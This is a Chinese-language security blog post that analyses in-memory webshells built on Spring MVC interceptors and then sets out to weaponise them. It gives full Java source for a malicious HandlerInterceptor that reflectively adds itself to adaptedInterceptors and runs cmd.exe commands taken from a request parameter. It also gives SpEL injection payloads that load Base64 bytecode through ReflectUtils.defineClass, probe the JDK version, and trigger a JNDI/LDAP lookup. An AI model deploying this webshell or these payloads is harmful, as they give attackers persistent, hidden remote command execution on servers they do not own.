Spring拦截器内存马简单分析

通过对路由的调试,发现AbstractHandlerMapping.class#getHandlerExecutionChain中会将符合条件的拦截器注册到当前的request handle

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230201005031-54cvowl.png

其中adaptedInterceptors属性中存放所有注册过的拦截器,也是我们注入内存马的过程中需要获取的关键属性。思路很简单,将拦截类注册进adaptedInterceptors,在进入controller处理前能够执行注册的恶意拦截器实现内存马

理论可行,调试过程中将自定义拦截器加载进adaptedInterceptors后成功在控制台中打印出自定义消息内容

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230201151350-3v05it7.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230201151415-7h2zsnk.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230201151439-gip8azv.png

对Spring源码进行了简单分析,在Dispatcher进行初始化时,使用了WebApplicationContextUtils#getWebApplicationContext
工具类获取了WebApplicationContext,这也是下面我们用到获取context的方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230207132221-banq5dk.png

LiveBeansView#applicationContexts也存放了相关context。

相关研究文章:https://landgrey.me/blog/12

由于大部分场景会使用Spel进行注入,为了payload更简便就将注入过程放在了构造函数,可以直接用newinstance触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.example.springbootbasestudy.Inteceptor.Test2Inteceptor;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class TestClass implements HandlerInterceptor{

    public TestClass() throws NoSuchFieldException, IllegalAccessException {
        HttpServletRequest request = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getRequest();
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
        DispatcherServlet dispatcherServlet = (DispatcherServlet) context.getBean("dispatcherServlet");
        RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping) dispatcherServlet.getHandlerMappings().get(0);

        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(requestMappingHandlerMapping);
        adaptedInterceptors.add(this);

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        try{
            String data = request.getParameter("slf");
            if(data!=null){
                Process process = Runtime.getRuntime().exec("cmd.exe /c "+data);
                InputStream inputStream = process.getInputStream();
                InputStreamReader reader = new InputStreamReader(inputStream);
                BufferedReader bufferedReader = new BufferedReader(reader);
                String res = "";
                String tmpres;

                while((tmpres = bufferedReader.readLine())!=null){
                    res += tmpres;
                }

                response.getWriter().write(";"+res+";");

            }
        }catch (Exception e){

            return true;
        }

        return true;
    }
}

前面简单讲了注入内存马的流程和相关原理,由于每年都会有关于spring的cve,且大多是基于spel解析问题导致的,所以这部分主要用来实现spring spelpayload下的内存马武器化实现

由于对spel的使用并不熟练,所以我暂时无法构造像java源码类的payload,根据之前的学习,ClassLoader中的#defineClass可以解决spel难以实现多条逻辑拼接的问题。

通过idea全局查找,可以很快的找出符合大多数环境的加载器org.springframework.cglib.core.ReflectUtils#defineClass

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230204002337-gpsfrom.png

构造spel payload如下

1
T(org.springframework.cglib.core.ReflectUtils).defineClass("TestClass",T(java.util.Base64).getDecoder().decode(""),T(java.lang.ClassLoader).getSystemClassLoader()).newInstance()

在历史spring爆出过的CVE中,不乏有一些是基于header头中进行传入payload的情况,这时候想要通过字节码直接注入内存马或者其他操作就很不方便,因为spring对header长度有限制。应对这种情况可以考虑使用jndi注入实现目标,但也有一个最大的条件限制,那就是jdk版本需要符合jndi注入的条件。

1
T(java.lang.System).getProperty("java.version")

同样可以根据这个方法获取其他系统信息

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230207124507-k2vjvcu.png

确认符合jndi注入条件(版本)后,就可以进行任意操作了

1
T(javax.naming.InitialContext).doLookup("__LDAP_PAYLOAD__")

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811157-image-20230207131451-vtcz2k8.png

同样也可以注入内存马

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811158-image-20230207131833-mh86yql.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678811158-image-20230207131852-4vdbnj0.png